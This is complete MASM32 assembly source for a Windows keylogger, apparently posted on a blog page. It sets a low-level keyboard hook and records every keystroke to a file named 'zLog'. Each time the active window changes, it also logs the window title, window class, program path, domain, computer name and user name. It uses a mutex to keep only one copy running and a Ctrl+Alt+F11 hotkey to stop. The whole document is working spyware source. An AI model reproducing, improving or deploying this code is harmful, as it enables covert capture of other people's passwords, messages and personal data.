.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\advapi32.inc
include \masm32\include\msvcrt.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\msvcrt.lib

pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm

fopen PROTO C :DWORD, :DWORD
fprintf PROTO C :DWORD, :VARARG
fflush PROTO C :DWORD
fclose PROTO C :DWORD

.data

hBuffer dd ?
hComputerName db 32 dup(0)
hCurrentThreadPiD dd 0
hCurrentWindow dd 0
hDateFormat db "dd MMM yyyy", 0
hDomaineName db 128 dup(0)
hFile dd 0
hHook dd 0
hmodul MODULEENTRY32 <>
hSnapShot dd 0
hTimeFormat db "hh:mm:ss tt", 0
hUserName db 32 dup(0)
msg MSG <>
onlyOneCopy db "Global\zkl",0

.code

main:
push offset onlyOneCopy ; check to make sure we are the only copy
push 0 ; of this program running for this user
push 0 ; for fast user switching we can still have
call CreateMutexA ; one copy per user running with this check
call GetLastError ; but if this user is running one already. we exit
cmp eax,ERROR_ALREADY_EXISTS
je more_than_one_copy

xor ebx, ebx ; Zero Out ebx

push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -> "0BADFACE"
push ebx ;
call RegisterHotKey ; we got a new hot key

pushz "ab" ; append in binary mode
pushz "zLog" ; name of log file
call fopen ; open the log file
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax ; save our file number

push ebx
call GetModuleHandleA ; get our module handle for setting the hook

push ebx ; register our keyboard hook proc and start hooking
push eax
push offset KeyBoardProc ; where our hook proc is located
push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
call SetWindowsHookExA ; Look MOM no DLL Needed :P
mov [hHook], eax ; ok here is our hook handle for later

push ebx ; We Need to check for messages like our
push ebx ; hot key, so we can close when we get it
push ebx
push offset msg ; it will be in the message struct
call GetMessageA ; wait for a message

push [hHook] ; we got the hot key, lets close up house
call UnhookWindowsHookEx ; make sure we unhook things to be nice

push [hFile] ; close our logfile before we stop
call fclose
add esp, 04

more_than_one_copy:

push eax ; call stop and lets go away
call ExitProcess

;##############################################################

KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpClassName[64] :BYTE
LOCAL lpCharBuf[32] :BYTE
LOCAL lpDateBuf[12] :BYTE
LOCAL lpTimeBuf[12] :BYTE
LOCAL lpLocalTime :SYSTEMTIME
;----------------------------

lea edi, [lpKeyState] ; lets zero out our buffers
push 256/4
pop ecx
xor eax, eax
rep stosd ; sets us up for doubleword from EAX

mov eax, wParam
cmp eax, WM_KEYUP ; only need WM_KEYDOWN
je next_hook ; bypass double logging

cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
je next_hook ; bypass double logging

call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )
cmp [hCurrentWindow], eax ; if its not different to last one saved..
je no_window_change ; bypass all the headings

mov [hCurrentWindow], eax ; save it for use now and compare later

push 64 ; get the class name
lea esi, [lpClassName]
push esi
push [hCurrentWindow]
call GetClassName

lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime
push esi
call GetLocalTime

push 12 ; invoke GetDateFormat, NULL, NULL \
lea esi, [lpDateBuf]
push esi ; ADDR lpLocalTime, ADDR hDateFormat \
lea esi, [hDateFormat]
push esi ; ADDR lpDateBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetDateFormat ; format the date

push 12 ; invoke GetTimeFormat, NULL, NULL \
lea esi, [lpTimeBuf]
push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
lea esi, [hTimeFormat]
push esi ; ADDR lpTimeBuf, Size of 12
lea esi, [lpLocalTime]
push esi
push 0
push 0
call GetTimeFormat ; format the time

lea esi, [hCurrentThreadPiD] ; get the processid that sent the key
push esi ; using the HWND we got earlier from
mov eax, [hCurrentWindow] ; our GetForegroundWindow call
push eax ; we need it to get the program exe name
call GetWindowThreadProcessId

mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
push ebx ; we need to use ToolHelp procs to get
push TH32CS_SNAPMODULE ; the program exe name of who sent us
call CreateToolhelp32Snapshot ; this key
mov hSnapShot,eax ; save the ToolHelp Handle to close later

mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail

push offset hmodul ; first Module is always module for process
mov eax, [hSnapShot] ; so safe to assume that the exe file name here
push eax ; will always be the right one for us
call Module32First

mov eax, [hSnapShot] ; we are done with ToolHelp so we need
push eax ; to tell it we wish to close
call CloseHandle

push 256 ; find the window title text
lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so
push esi
mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow
push eax
call GetWindowText

push offset hmodul.szExePath
lea esi, [lpTimeBuf] ; print the formatted time
push esi
lea esi, [lpDateBuf] ; print the formatted date
push esi
pushz 13,10,"[%s, %s - Program:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4

lea esi, [lpClassName] ; print the Window Class Name
push esi
lea esi, [lpKeyState] ; print the Window Title
push esi
pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
push [hFile]
call fprintf ; write the buffer to cache
add esp, 3*4

mov hBuffer, 128 ; get the current domain name
push offset hBuffer
push offset hDomaineName
push 1
call GetComputerNameExA

mov hBuffer, 32 ; get the current computer name
push offset hBuffer
push offset hComputerName
push 0
call GetComputerNameExA

mov hBuffer, 32 ; get the current user name
push offset hBuffer
push offset hUserName
call GetUserNameA

push offset hUserName ; print the user name
push offset hComputerName ; print the computer name
push offset hDomaineName ; print the domain name
pushz "[ Domain:%s - Computer:%s - User:%s]",13,10
push [hFile]
call fprintf ; write to cache
add esp, 3*4

push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4

no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; bypass left shift Key for upper/lowercase characters
cmp al, VK_RSHIFT
je next_hook ; bypass right shift Key
cmp al, VK_CAPITAL
je next_hook ; bypass caps lock Key
cmp al, VK_ESCAPE
je get_name_of_key ; we Want escape characters
cmp al, VK_BACK
je get_name_of_key ; we want backspace key
cmp al, VK_TAB
je get_name_of_key ; we want tab key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state

push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi

push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN

mov byte ptr [ebx + 16], al ; toggle a shift key to on/off

push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off

mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.

get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax

push 32
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA ; get the key text

push edi
pushz "[%s]" ; print the special key text
jmp write_to_file

test_carriage_return:
push edi
pushz "%s" ; print regular keys

cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file

mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
push [hFile] ; where we write to the log file
call fprintf
add esp, 2*4
next_hook:
push [lParam] ; reply for possible other hooks waiting
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP

end main

Leave a Reply

Your email address will not be published. Required fields are marked *

To create code blocks or other preformatted text, indent by four spaces:

    This will be displayed in a monospaced font. The first four 
    spaces will be stripped off, but all other whitespace
    will be preserved.
    
    Markdown is turned off in code blocks:
     [This is not a link](http://example.com)

To create not a block, but an inline code span, use backticks:

Here is some inline `code`.

For more help see http://daringfireball.net/projects/markdown/syntax